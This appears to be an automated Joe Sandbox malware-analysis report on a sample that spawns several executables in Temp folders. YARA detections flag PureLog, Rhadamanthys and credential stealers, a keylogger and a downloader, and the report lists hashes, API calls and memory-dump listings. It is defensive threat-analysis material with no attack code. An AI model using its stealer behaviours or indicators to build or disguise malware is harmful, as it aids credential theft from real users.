Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 26%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:08:15
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"
Imagebase:	0x1b0000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:08:15
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"
Imagebase:	0x50000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:08:15
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"
Imagebase:	0x390000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:08:15
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"
Imagebase:	0x2b0000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:08:15
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"
Imagebase:	0x9c0000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:08:24
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe"
Imagebase:	0x430000
File size:	1'941'504 bytes
MD5 hash:	7ECFEF7F63495C67771664D73A1EE2C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000D.00000003.2896849334.0000000005260000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000D.00000003.2906192024.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000D.00000003.2898992206.0000000005990000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000D.00000003.2899399364.0000000005BB0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:08:26
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0xe40000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000E.00000003.2902463991.0000000000BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000E.00000003.2909561070.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000E.00000003.2909776212.0000000005300000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000E.00000002.2917910047.0000000003200000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:08:27
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8172 -s 656
Imagebase:	0x5e0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:08:31
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe"
Imagebase:	0xe10000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 71%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:08:31
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:08:33
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe"
Imagebase:	0xe10000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:08:33
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe"
Imagebase:	0xe10000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:08:34
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe"
Imagebase:	0xe10000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:08:34
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe"
Imagebase:	0xe10000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.3217409529.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.3217240295.0000000000BAC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.3263009868.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	13:08:38
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe"
Imagebase:	0xeb0000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 68%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:08:38
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:08:41
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe"
Imagebase:	0xeb0000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:08:41
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe"
Imagebase:	0xeb0000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:08:41
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe"
Imagebase:	0xeb0000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	13:08:52
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe"
Imagebase:	0xe90000
File size:	4'449'792 bytes
MD5 hash:	60CB08AFF943753C526CF73FD6007489
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	13:09:01
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe"
Imagebase:	0x5d0000
File size:	1'826'816 bytes
MD5 hash:	3DC730302DC71232EE3BB36DC669F3AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	755
Total number of Limit Nodes:	24

Executed Functions

Function 0014652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0014652A,?,?,?,?,?,00147661), ref: 00146567

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: c1078d47fd27b43acd8917eb0716b3f5da44225c9fa4201fbd285a8ffd7d5953
Instruction ID: 565100c903a8aef77a45a21023c43155705fc7ef1189facb5a4278dfcc46f400
Opcode Fuzzy Hash: c1078d47fd27b43acd8917eb0716b3f5da44225c9fa4201fbd285a8ffd7d5953
Instruction Fuzzy Hash: 58E086300811086ECE25BF14C9099493B29EF12789F510814F8088E136CB25ED82C681

Function 04FC0D08 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079139180.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5a4422421173f09f21cdbdd321c8c0c28b0ff316b891f3cf8fd597e242d8e99
Instruction ID: 181ea53289b556cb7e238b3c6a1d171fd3982e08017208464d8d4f41be2a7769
Opcode Fuzzy Hash: d5a4422421173f09f21cdbdd321c8c0c28b0ff316b891f3cf8fd597e242d8e99
Instruction Fuzzy Hash: 1F218EAB28C262FDE24351C15B15AF76E6EE7D3230330402EF4078A642BE996A5B7131

Function 00115C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000419, xrefs: 00116098
00000423, xrefs: 001160FA
Keyboard Layout\Preload, xrefs: 00116054
0000043f, xrefs: 0011612B
00000422, xrefs: 001160C9

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 27a7eee5a62b038a23fb5441bc6d8ad4ff837a2eccdd5d8b81552052cf53f188
Instruction ID: 8749e098410590175aef3b581e424ea6b8aba5ab36a7f611eaeb51b9de5ea6f2
Opcode Fuzzy Hash: 27a7eee5a62b038a23fb5441bc6d8ad4ff837a2eccdd5d8b81552052cf53f188
Instruction Fuzzy Hash: 77F1D1709002589FEB28DF54CC84BEEBBBAEB44304F5042A9F518A72C1DB759AD4CB95

Function 00119BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0011A963
CreateMutexA.KERNEL32(00000000,00000000,00173254), ref: 0011A981

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
